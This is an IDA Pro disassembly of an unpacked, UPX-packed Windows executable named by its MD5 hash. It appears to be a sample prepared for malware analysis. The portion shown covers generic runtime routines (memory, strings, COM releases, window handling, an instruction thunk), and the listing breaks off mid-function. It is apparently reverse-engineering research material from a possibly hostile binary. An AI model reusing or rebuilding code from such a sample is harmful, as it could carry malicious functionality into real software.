; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A97DB71FBC5C14D5E97254ADB7EB1B02 ; File Name : u:\work\a97db71fbc5c14d5e97254adb7eb1b02_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00030000 ( 196608.) ; Section size in file : 00030000 ( 196608.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 401000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: UPX0:004050A0p ; sub_414C04+223p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short locret_40101A sub eax, 8 cmp dword ptr [eax], 0DDDDh jnz short locret_40101A push eax call sub_40ADC8 pop ecx locret_40101A: ; CODE XREF: sub_401000+6j ; sub_401000+11j retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_40101B proc near ; CODE XREF: sub_4015BD+51p ; sub_401BB2+79p mov edx, [ecx] cmp edx, [eax] jnz short loc_40103D mov edx, [ecx+4] cmp edx, [eax+4] jnz short loc_40103D mov edx, [ecx+8] cmp edx, [eax+8] jnz short loc_40103D mov ecx, [ecx+0Ch] cmp ecx, [eax+0Ch] jnz short loc_40103D xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40103D: ; CODE XREF: sub_40101B+4j ; sub_40101B+Cj ... xor eax, eax retn sub_40101B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401040 proc near ; CODE XREF: sub_401304+67p var_1D = byte ptr -1Dh ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_4270D0 call __SEH_prolog4_GS mov eax, [ebp+arg_0] mov [ebp+var_1D], 1 and [ebp+ms_exc.disabled], 0 or ecx, 0FFFFFFFFh sub ecx, eax cmp ecx, 2000h jb short loc_401073 add eax, 2000h call sub_4160F0 mov [ebp+ms_exc.old_esp], esp jmp short loc_401099 ; --------------------------------------------------------------------------- loc_401073: ; CODE XREF: sub_401040+22j mov [ebp+var_1D], 0 jmp short loc_401099 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] xor ecx, ecx cmp eax, 0C00000FDh setz cl mov eax, ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] mov [ebp+var_1D], 0 call sub_40AF6F loc_401099: ; CODE XREF: sub_401040+31j ; sub_401040+37j mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov al, [ebp+var_1D] lea esp, [ebp-30h] call __SEH_epilog4_GS retn sub_401040 endp ; =============== S U B R O U T I N E ======================================= sub_4010AC proc near ; CODE XREF: sub_403138+81p ; sub_4089CE+12Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] call dword_41D1F0 ; lstrlenW lea eax, [eax+eax+2] push eax push [esp+4+arg_8] mov eax, [esp+8+arg_4] add eax, eax push eax push [esp+0Ch+arg_0] call sub_40B376 add esp, 10h neg eax sbb eax, eax inc eax retn sub_4010AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4010D8 proc near ; CODE XREF: sub_4010F0:loc_401111p ; sub_4011E3+24p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov [ebp+arg_0], eax push offset dword_426D98 lea eax, [ebp+arg_0] push eax call sub_40C03B int 3 ; Trap to Debugger sub_4010D8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4010F0 proc near ; CODE XREF: sub_401125+16p ; sub_4080FF+109p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_401124 cmp eax, 0Ch jz short loc_40111D cmp eax, 16h jz short loc_401116 cmp eax, 22h jz short loc_401116 cmp eax, 50h jz short loc_401124 push 80004005h loc_401111: ; CODE XREF: sub_4010F0+2Bj ; sub_4010F0+32j call sub_4010D8 ; --------------------------------------------------------------------------- loc_401116: ; CODE XREF: sub_4010F0+10j ; sub_4010F0+15j push 80070057h jmp short loc_401111 ; --------------------------------------------------------------------------- loc_40111D: ; CODE XREF: sub_4010F0+Bj push 8007000Eh jmp short loc_401111 ; --------------------------------------------------------------------------- loc_401124: ; CODE XREF: sub_4010F0+6j ; sub_4010F0+1Aj retn sub_4010F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401125 proc near ; CODE XREF: sub_401260+5Ap ; sub_401260+73p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40B376 push eax call sub_4010F0 sub_401125 endp ; --------------------------------------------------------------------------- add esp, 14h retn ; =============== S U B R O U T I N E ======================================= sub_401144 proc near ; CODE XREF: sub_40A94B+2Dp ; sub_40A9EC+6p ... push edi mov edx, ecx push 6 pop ecx xor eax, eax mov edi, edx rep stosd mov eax, edx pop edi retn sub_401144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401154 proc near ; CODE XREF: sub_4069AB+5Fp ; sub_406A3F+5Fp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_4270B0 call __SEH_prolog4 and [ebp+ms_exc.disabled], 0 push ecx call dword_41D20C ; InitializeCriticalSection and [ebp+var_1C], 0 jmp short loc_40118F ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] xor ecx, ecx cmp eax, 0C0000017h setz cl mov eax, ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] mov [ebp+var_1C], 8007000Eh loc_40118F: ; CODE XREF: sub_401154+1Bj mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_401154 endp ; =============== S U B R O U T I N E ======================================= sub_40119F proc near ; CODE XREF: sub_40366A:loc_403755p ; sub_4078AB+63p ... call dword_41D1D8 ; RtlGetLastWin32Error test eax, eax jle short locret_4011B3 and eax, 0FFFFh or eax, 80070000h locret_4011B3: ; CODE XREF: sub_40119F+8j retn sub_40119F endp ; =============== S U B R O U T I N E ======================================= sub_4011B4 proc near ; CODE XREF: sub_401E45+11p ; UPX0:00402B2Dp ... test esi, esi jnz short loc_4011BB xor eax, eax retn ; --------------------------------------------------------------------------- loc_4011BB: ; CODE XREF: sub_4011B4+2j test edi, edi jz short loc_4011C5 mov eax, [edi] push edi call dword ptr [eax+4] loc_4011C5: ; CODE XREF: sub_4011B4+9j mov eax, [esi] test eax, eax jz short loc_4011D1 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4011D1: ; CODE XREF: sub_4011B4+15j mov [esi], edi mov eax, edi retn sub_4011B4 endp ; --------------------------------------------------------------------------- loc_4011D6: ; CODE XREF: UPX0:0041BF10j ; UPX0:0041BF33j ... mov eax, [eax] test eax, eax jz short locret_4011E2 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_4011E2: ; CODE XREF: UPX0:004011DAj retn ; =============== S U B R O U T I N E ======================================= sub_4011E3 proc near ; CODE XREF: sub_403293+3Ap ; sub_404675+3Ep ... arg_0 = dword ptr 4 cmp [esp+arg_0], 0 jnz short loc_4011F2 and dword ptr [esi], 0 loc_4011ED: ; CODE XREF: sub_4011E3+1Dj mov eax, esi retn 4 ; --------------------------------------------------------------------------- loc_4011F2: ; CODE XREF: sub_4011E3+5j push [esp+arg_0] call dword_41D234 mov [esi], eax test eax, eax jnz short loc_4011ED push 8007000Eh call sub_4010D8 sub_4011E3 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40120D proc near ; CODE XREF: sub_4030E7+1Dp var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 84h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push 40h lea ecx, [ebp+var_84] push ecx push eax call dword_41D3AC lea eax, [ebp+var_84] push eax call dword_41D234 mov [esi], eax test eax, eax jnz short loc_401250 push 8007000Eh call sub_4010D8 ; --------------------------------------------------------------------------- loc_401250: ; CODE XREF: sub_40120D+37j mov ecx, [ebp+var_4] xor ecx, ebp mov eax, esi call sub_40AC1C leave retn 4 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401260 proc near ; CODE XREF: sub_41889D+E7p ; sub_41889D+F9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor esi, esi cmp [ebp+arg_0], esi jz short loc_4012EB mov eax, [edi] cmp eax, esi jz short loc_401278 cmp [ebp+arg_4], esi jz short loc_4012EB loc_401278: ; CODE XREF: sub_401260+11j push eax call dword_41D238 mov ecx, [ebp+arg_4] lea ebx, [eax+ecx] cmp ebx, eax mov [ebp+var_4], eax jge short loc_401293 loc_40128C: ; CODE XREF: sub_401260+3Fj mov eax, 8007000Eh jmp short loc_4012ED ; --------------------------------------------------------------------------- loc_401293: ; CODE XREF: sub_401260+2Aj push ebx push esi call dword_41D250 mov esi, eax test esi, esi jz short loc_40128C push dword ptr [edi] call dword_41D238 test eax, eax jbe short loc_4012C2 mov eax, [ebp+var_4] add eax, eax push eax push dword ptr [edi] lea eax, [ebx+ebx] push eax push esi call sub_401125 ; --------------------------------------------------------------------------- add esp, 10h loc_4012C2: ; CODE XREF: sub_401260+4Bj mov eax, [ebp+arg_4] add eax, eax push eax push [ebp+arg_0] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*2] push eax call sub_401125 ; --------------------------------------------------------------------------- xor eax, eax add esp, 10h mov [esi+ebx*2], ax push dword ptr [edi] call dword_41D25C mov [edi], esi loc_4012EB: ; CODE XREF: sub_401260+Bj ; sub_401260+16j xor eax, eax loc_4012ED: ; CODE XREF: sub_401260+31j pop esi pop ebx leave retn 8 sub_401260 endp ; --------------------------------------------------------------------------- loc_4012F3: ; CODE XREF: UPX0:0041BFFCj ; UPX0:0041C0B2j ... push dword ptr [eax] call dword_41D25C retn ; --------------------------------------------------------------------------- loc_4012FC: ; CODE XREF: UPX0:0041C081j push ecx call dword_41D23C retn ; =============== S U B R O U T I N E ======================================= sub_401304 proc near ; CODE XREF: sub_4186D9+167p push 14h mov eax, offset loc_41C247 call sub_40C4D6 call off_42A000 xor ebx, ebx mov [ebp-18h], eax mov [ebp-14h], ebx mov esi, [ebp+8] push esi mov [ebp-4], ebx call dword_41D23C push 8 pop eax mov [esi], ax cmp [ebp+0Ch], ebx jz loc_4013D2 push dword ptr [ebp+0Ch] call dword_41D1D4 ; lstrlenA push ebx inc eax cdq push 2 push edx push eax call sub_414560 mov edi, eax add eax, 80000000h adc edx, ebx mov [ebp-1Ch], edx jnz short loc_4013D2 cmp eax, 0FFFFFFFFh ja short loc_4013D2 cmp edi, 400h jg short loc_401380 push edi call sub_401040 pop ecx test al, al jz short loc_401380 mov eax, edi call sub_4160F0 mov esi, esp jmp short loc_4013A0 ; --------------------------------------------------------------------------- loc_401380: ; CODE XREF: sub_401304+64j ; sub_401304+6Fj or eax, 0FFFFFFFFh sub eax, edi cmp eax, 8 jb short loc_4013C5 lea eax, [edi+8] push eax call sub_40AEA5 pop ecx cmp eax, ebx jz short loc_4013D2 mov [eax], ebx mov [ebp-14h], eax lea esi, [eax+8] loc_4013A0: ; CODE XREF: sub_401304+7Aj cmp esi, ebx jz short loc_4013CF push edi push esi push 0FFFFFFFFh push dword ptr [ebp+0Ch] xor eax, eax push ebx push dword ptr [ebp-18h] mov [esi], ax call dword_41D1F4 ; MultiByteToWideChar neg eax sbb eax, eax and eax, esi mov esi, [ebp+8] jmp short loc_4013D4 ; --------------------------------------------------------------------------- loc_4013C5: ; CODE XREF: sub_401304+84j push 80070057h loc_4013CA: ; CODE XREF: sub_401304+F2j call sub_4010D8 ; --------------------------------------------------------------------------- loc_4013CF: ; CODE XREF: sub_401304+9Ej mov esi, [ebp+8] loc_4013D2: ; CODE XREF: sub_401304+30j ; sub_401304+57j ... xor eax, eax loc_4013D4: ; CODE XREF: sub_401304+BFj push eax call dword_41D234 mov [esi+8], eax cmp eax, ebx jnz short loc_4013F8 cmp [ebp+0Ch], ebx jz short loc_4013F8 push 0Ah pop eax mov [esi], ax mov eax, 8007000Eh mov [esi+8], eax push eax jmp short loc_4013CA ; --------------------------------------------------------------------------- loc_4013F8: ; CODE XREF: sub_401304+DCj ; sub_401304+E1j cmp [ebp-14h], ebx jz short loc_401410 loc_4013FD: ; CODE XREF: sub_401304+10Aj mov eax, [ebp-14h] mov edi, [eax] push eax mov [ebp-14h], edi call sub_40ADC8 pop ecx cmp edi, ebx jnz short loc_4013FD loc_401410: ; CODE XREF: sub_401304+F7j mov eax, esi lea esp, [ebp-30h] call sub_40C520 retn 8 sub_401304 endp ; =============== S U B R O U T I N E ======================================= sub_40141D proc near ; CODE XREF: sub_4015BD+23p ; sub_4058EE+1Ap cmp dword ptr [eax], 0 jnz short loc_40143E cmp dword ptr [eax+4], 0 jnz short loc_40143E cmp dword ptr [eax+8], 0C0h jnz short loc_40143E cmp dword ptr [eax+0Ch], 46000000h jnz short loc_40143E xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40143E: ; CODE XREF: sub_40141D+3j ; sub_40141D+9j ... xor eax, eax retn sub_40141D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401441 proc near ; CODE XREF: sub_40691F+2Dp var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp push ecx push ecx test esi, esi jz short loc_401484 test eax, eax jz short loc_401484 mov [esi], eax call dword_41D1C4 ; GetCurrentThreadId mov [esi+4], eax mov eax, offset dword_42E38C push eax mov [ebp+var_8], eax call dword_41D1CC ; RtlEnterCriticalSection mov eax, dword_42E3A4 mov [esi+8], eax lea ecx, [ebp+var_8] mov [ebp+var_4], 1 mov dword_42E3A4, esi call sub_4066D7 leave retn ; --------------------------------------------------------------------------- loc_401484: ; CODE XREF: sub_401441+7j ; sub_401441+Bj push 0 push 0 push 1 push 0C0000005h call dword_41D1DC ; RaiseException int 3 ; Trap to Debugger sub_401441 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401496 proc near ; CODE XREF: sub_417A85+C5p push esi mov esi, eax push edi test esi, esi jz short loc_4014CC mov edi, dword_41D31C loc_4014A4: ; CODE XREF: sub_401496+34j cmp word ptr [esi], 0 jz short loc_4014CC mov eax, offset asc_423A00 ; ":" loc_4014AF: ; CODE XREF: sub_401496+2Bj movzx ecx, word ptr [eax] test cx, cx jz short loc_4014C3 cmp [esi], cx jz short loc_4014D1 push eax call edi ; dword_41D31C test eax, eax jnz short loc_4014AF loc_4014C3: ; CODE XREF: sub_401496+1Fj push esi call edi ; dword_41D31C mov esi, eax test esi, esi jnz short loc_4014A4 loc_4014CC: ; CODE XREF: sub_401496+6j ; sub_401496+12j xor eax, eax loc_4014CE: ; CODE XREF: sub_401496+3Ej pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4014D1: ; CODE XREF: sub_401496+24j push esi call edi ; dword_41D31C jmp short loc_4014CE sub_401496 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014D6 proc near ; CODE XREF: UPX0:00402CADp ; sub_41889D+15Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx test eax, eax jnz short loc_4014E6 mov eax, 80070057h jmp short locret_401547 ; --------------------------------------------------------------------------- loc_4014E6: ; CODE XREF: sub_4014D6+7j mov ecx, [eax] and [ebp+var_8], 0 and [ebp+var_4], 0 push esi lea edx, [ebp+var_8] push edx push offset dword_424294 push eax call dword ptr [ecx] mov esi, eax test esi, esi jl short loc_40152A mov eax, [ebp+var_8] mov ecx, [eax] lea edx, [ebp+var_4] push edx push [ebp+arg_4] push eax call dword ptr [ecx+10h] mov esi, eax test esi, esi jl short loc_40152A push [ebp+arg_8] mov eax, [ebp+var_4] push [ebp+arg_0] mov ecx, [eax] push eax call dword ptr [ecx+14h] mov esi, eax loc_40152A: ; CODE XREF: sub_4014D6+2Bj ; sub_4014D6+41j mov eax, [ebp+var_4] test eax, eax jz short loc_401537 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401537: ; CODE XREF: sub_4014D6+59j mov eax, [ebp+var_8] test eax, eax jz short loc_401544 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_401544: ; CODE XREF: sub_4014D6+66j mov eax, esi pop esi locret_401547: ; CODE XREF: sub_4014D6+Ej leave retn 0Ch sub_4014D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40154B proc near ; CODE XREF: sub_4024D9+51p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx test eax, eax jnz short loc_40155B mov eax, 80070057h jmp short locret_4015B9 ; --------------------------------------------------------------------------- loc_40155B: ; CODE XREF: sub_40154B+7j mov ecx, [eax] and [ebp+var_8], 0 and [ebp+var_4], 0 push esi lea edx, [ebp+var_8] push edx push offset dword_424294 push eax call dword ptr [ecx] mov esi, eax test esi, esi jl short loc_40159C mov eax, [ebp+var_8] mov ecx, [eax] lea edx, [ebp+var_4] push edx push [ebp+arg_0] push eax call dword ptr [ecx+10h] mov esi, eax test esi, esi jl short loc_40159C mov eax, [ebp+var_4] push [ebp+arg_4] mov ecx, [eax] push eax call dword ptr [ecx+18h] mov esi, eax loc_40159C: ; CODE XREF: sub_40154B+2Bj ; sub_40154B+41j mov eax, [ebp+var_4] test eax, eax jz short loc_4015A9 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4015A9: ; CODE XREF: sub_40154B+56j mov eax, [ebp+var_8] test eax, eax jz short loc_4015B6 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4015B6: ; CODE XREF: sub_40154B+63j mov eax, esi pop esi locret_4015B9: ; CODE XREF: sub_40154B+Ej leave retn 8 sub_40154B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015BD proc near ; CODE XREF: sub_404F0D+16p ; sub_404FB1+16p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push esi push edi mov esi, eax jz short loc_401647 test esi, esi jz short loc_401647 test ebx, ebx jnz short loc_4015DA mov eax, 80004003h jmp short loc_40164C ; --------------------------------------------------------------------------- loc_4015DA: ; CODE XREF: sub_4015BD+14j mov eax, [ebp+arg_4] and dword ptr [ebx], 0 call sub_40141D test eax, eax jz short loc_401639 loc_4015E9: ; CODE XREF: sub_4015BD+5Dj mov esi, [esi+4] add esi, [ebp+arg_0] mov eax, [esi] push esi call dword ptr [eax+4] mov [ebx], esi xor eax, eax jmp short loc_40164C ; --------------------------------------------------------------------------- loc_4015FB: ; CODE XREF: sub_4015BD+81j mov ecx, [esi] xor eax, eax test ecx, ecx setz al mov [ebp+var_4], eax test eax, eax jnz short loc_401617 mov eax, [ebp+arg_4] call sub_40101B test eax, eax jz short loc_401636 loc_401617: ; CODE XREF: sub_4015BD+4Cj cmp edi, 1 jz short loc_4015E9 push dword ptr [esi+4] push ebx push [ebp+arg_4] push [ebp+arg_0] call edi ; CharNextW test eax, eax jz short loc_40164C cmp [ebp+var_4], 0 jnz short loc_401636 test eax, eax jl short loc_40164C loc_401636: ; CODE XREF: sub_4015BD+58j ; sub_4015BD+73j add esi, 0Ch loc_401639: ; CODE XREF: sub_4015BD+2Aj mov edi, [esi+8] test edi, edi jnz short loc_4015FB mov eax, 80004002h jmp short loc_40164C ; --------------------------------------------------------------------------- loc_401647: ; CODE XREF: sub_4015BD+Cj ; sub_4015BD+10j mov eax, 80070057h loc_40164C: ; CODE XREF: sub_4015BD+1Bj ; sub_4015BD+3Cj ... pop edi pop esi leave retn 8 sub_4015BD endp ; =============== S U B R O U T I N E ======================================= sub_401652 proc near ; CODE XREF: sub_401BB2+175p push 0Ch mov eax, offset loc_41C224 call sub_40C4A0 mov edi, [ebp+8] test edi, edi jnz short loc_40166C mov eax, 80070057h jmp short loc_4016CA ; --------------------------------------------------------------------------- loc_40166C: ; CODE XREF: sub_401652+11j and dword ptr [ebp-14h], 0 and dword ptr [ebp-4], 0 push 0Ch call sub_40B45F pop ecx mov esi, eax jmp short loc_40168C ; --------------------------------------------------------------------------- loc_401680: ; DATA XREF: UPX0:0042737Co mov eax, offset loc_401686 retn ; --------------------------------------------------------------------------- loc_401686: ; DATA XREF: sub_401652:loc_401680o mov edi, [ebp+8] mov esi, [ebp-14h] loc_40168C: ; CODE XREF: sub_401652+2Cj test esi, esi jnz short loc_401697 mov ebx, 8007000Eh jmp short loc_4016C8 ; --------------------------------------------------------------------------- loc_401697: ; CODE XREF: sub_401652+3Cj lea eax, [edi+0Ch] push eax mov dword ptr [esi], offset sub_401B6E mov dword ptr [esi+4], offset off_42DEA4 mov [ebp-18h], eax call dword_41D1CC ; RtlEnterCriticalSection mov eax, [edi+8] mov [esi+8], eax lea ecx, [ebp-18h] mov byte ptr [ebp-14h], 1 xor ebx, ebx mov [edi+8], esi call sub_4066D7 loc_4016C8: ; CODE XREF: sub_401652+43j mov eax, ebx loc_4016CA: ; CODE XREF: sub_401652+18j call sub_40C50C retn 4 sub_401652 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=3ECh sub_4016D2 proc near ; CODE XREF: sub_418266+169p var_410 = byte ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = word ptr -400h var_3FC = dword ptr -3FCh var_3F8 = dword ptr -3F8h var_3F0 = dword ptr -3F0h var_3EC = byte ptr -3ECh var_4 = dword ptr -4 push ebp sub esp, 3E8h lea ebp, [esp-4] mov eax, dword_42A034 xor eax, ebp mov [ebp+3ECh+var_4], eax push 18h mov eax, offset loc_41C345 call sub_40C46D mov eax, [ebp+3F4h] xor ebx, ebx mov esi, ecx mov [ebp+3ECh+var_40C], eax mov [eax], ebx cmp esi, ebx jz loc_401842 mov eax, [esi] lea ecx, [ebp+3ECh+var_404] push ecx push 2 lea ecx, [ebp+3ECh+var_400] push ecx push esi call dword ptr [eax+0Ch] cmp eax, ebx jl loc_401844 mov eax, [esi] lea ecx, [ebp+3ECh+var_404] push ecx push 4 lea ecx, [ebp+3ECh+var_410] push ecx push esi call dword ptr [eax+0Ch] cmp eax, ebx jl loc_401844 mov eax, [esi] lea ecx, [ebp+3ECh+var_404] push ecx push 4 lea ecx, [ebp+3ECh+var_408] push ecx push esi call dword ptr [eax+0Ch] cmp eax, ebx jl loc_401844 cmp [ebp+3ECh+var_408], ebx jbe loc_4017DE jnz short loc_401786 xor edi, edi mov [ebp+3ECh+var_3FC], edi loc_401765: ; CODE XREF: sub_4016D2+C5j push edi mov [ebp+3ECh+var_3F0], ebx call dword_41D238 test eax, eax jnz short loc_4017A3 mov esi, 8007000Eh loc_401778: ; CODE XREF: sub_4016D2+FAj push edi call dword_41D25C mov eax, esi jmp loc_401844 ; --------------------------------------------------------------------------- loc_401786: ; CODE XREF: sub_4016D2+8Cj push [ebp+3ECh+var_408] push ebx call dword_41D250 mov edi, eax mov [ebp+3ECh+var_3FC], edi cmp edi, ebx jnz short loc_401765 push 8007000Eh call sub_4010D8 ; --------------------------------------------------------------------------- loc_4017A3: ; CODE XREF: sub_4016D2+9Fj mov eax, [ebp+3ECh+var_408] lea eax, [eax+eax+2] push eax push ebx push edi call sub_40BD40 mov eax, [esi] add esp, 0Ch lea ecx, [ebp+3ECh+var_404] push ecx mov ecx, [ebp+3ECh+var_408] add ecx, ecx push ecx push edi push esi call dword ptr [eax+0Ch] cmp eax, ebx jge short loc_4017CE mov esi, eax jmp short loc_401778 ; --------------------------------------------------------------------------- loc_4017CE: ; CODE XREF: sub_4016D2+F6j mov eax, [ebp+3ECh+var_40C] or [ebp+3ECh+var_3F0], 0FFFFFFFFh push ebx mov [eax], edi call dword_41D25C loc_4017DE: ; CODE XREF: sub_4016D2+86j mov eax, 37Ah cmp [ebp+3ECh+var_400], ax jz short loc_401802 inc eax cmp [ebp+3ECh+var_400], ax jz short loc_401802 mov eax, 376h cmp [ebp+3ECh+var_400], ax jz short loc_401842 mov eax, 80004005h jmp short loc_401844 ; --------------------------------------------------------------------------- loc_401802: ; CODE XREF: sub_4016D2+115j ; sub_4016D2+11Cj mov eax, [esi] lea ecx, [ebp+3ECh+var_404] push ecx push 4 lea ecx, [ebp+3ECh+var_3FC] push ecx push esi call dword ptr [eax+0Ch] cmp eax, ebx jl short loc_401844 sub [ebp+3ECh+var_3FC], 4 jz short loc_401842 mov edi, 3E8h loc_401821: ; CODE XREF: sub_4016D2+16Ej mov eax, [ebp+3ECh+var_3FC] cmp [ebp+3ECh+var_3FC], edi jb short loc_40182B mov eax, edi loc_40182B: ; CODE XREF: sub_4016D2+155j mov ecx, [esi] lea edx, [ebp+3ECh+var_404] push edx push eax lea eax, [ebp+3ECh+var_3EC] push eax push esi call dword ptr [ecx+0Ch] mov eax, [ebp+3ECh+var_404] sub [ebp+3ECh+var_3FC], eax jnz short loc_401821 loc_401842: ; CODE XREF: sub_4016D2+35j ; sub_4016D2+127j ... xor eax, eax loc_401844: ; CODE XREF: sub_4016D2+4Dj ; sub_4016D2+65j ... mov ecx, [ebp+3ECh+var_3F8] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, [ebp+3ECh+var_4] xor ecx, ebp call sub_40AC1C add ebp, 3ECh leave retn sub_4016D2 endp ; =============== S U B R O U T I N E ======================================= sub_401867 proc near ; CODE XREF: sub_403C55+68p ; sub_417C15+1Dp arg_0 = dword ptr 4 mov ecx, [eax+4] mov edx, [eax] push esi mov esi, [eax+0Ch] mov eax, [eax+8] push 1 sub esi, ecx push esi sub eax, edx push eax mov eax, [esp+10h+arg_0] push ecx push edx push dword ptr [eax] call dword_41D270 ; MoveWindow pop esi retn 4 sub_401867 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40188D proc near ; CODE XREF: UPX0:00402C2Cp var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_41D33C ; GetParent push 8 lea ecx, [ebp+var_14] push ecx push eax call dword_41D2C0 ; GetClassNameW test eax, eax jz short loc_4018CD push offset a32770 ; "#32770" lea eax, [ebp+var_14] push eax call dword_41D1F8 ; lstrcmpW neg eax sbb eax, eax inc eax loc_4018CD: ; CODE XREF: sub_40188D+2Aj mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AC1C leave retn 4 sub_40188D endp ; =============== S U B R O U T I N E ======================================= sub_4018DB proc near ; CODE XREF: sub_404477+Cp ; sub_406781+73p ... arg_0 = dword ptr 4 cmp dword ptr [edi+0Ch], 0 push esi mov esi, eax jnz short loc_4018F0 call sub_40A906 mov [edi+0Ch], eax test eax, eax jz short loc_40191F loc_4018F0: ; CODE XREF: sub_4018DB+7j mov eax, [edi+0Ch] mov ecx, [esp+4+arg_0] sub esi, eax push 0Dh sub esi, 0Dh push eax mov dword ptr [eax], 42444C7h mov [eax+4], ecx mov byte ptr [eax+8], 0E9h mov [eax+9], esi call dword_41D214 ; GetCurrentProcess push eax call dword_41D1E0 ; FlushInstructionCache xor eax, eax inc eax loc_40191F: ; CODE XREF: sub_4018DB+13j pop esi retn 4 sub_4018DB endp ; =============== S U B R O U T I N E ======================================= sub_401923 proc near ; DATA XREF: sub_4019F2+70o mov eax, ecx and dword ptr [eax], 0 and dword ptr [eax+4], 0 or dword ptr [eax+8], 0FFFFFFFFh retn sub_401923 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401931 proc near ; CODE XREF: sub_404E64+10p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push esi xor esi, esi xor eax, eax push edi mov edi, [ebp+arg_0] cmp dword_42DEB0, esi jz short loc_40194F cmp dword_42DEB8, esi jnz short loc_401957 loc_40194F: ; CODE XREF: sub_401931+14j push [ebp+arg_8] call sub_401BB2 loc_401957: ; CODE XREF: sub_401931+1Cj cmp dword_42DEB0, esi jz short loc_4019DC push ebx cmp dword_42DEB8, esi jz short loc_4019C9 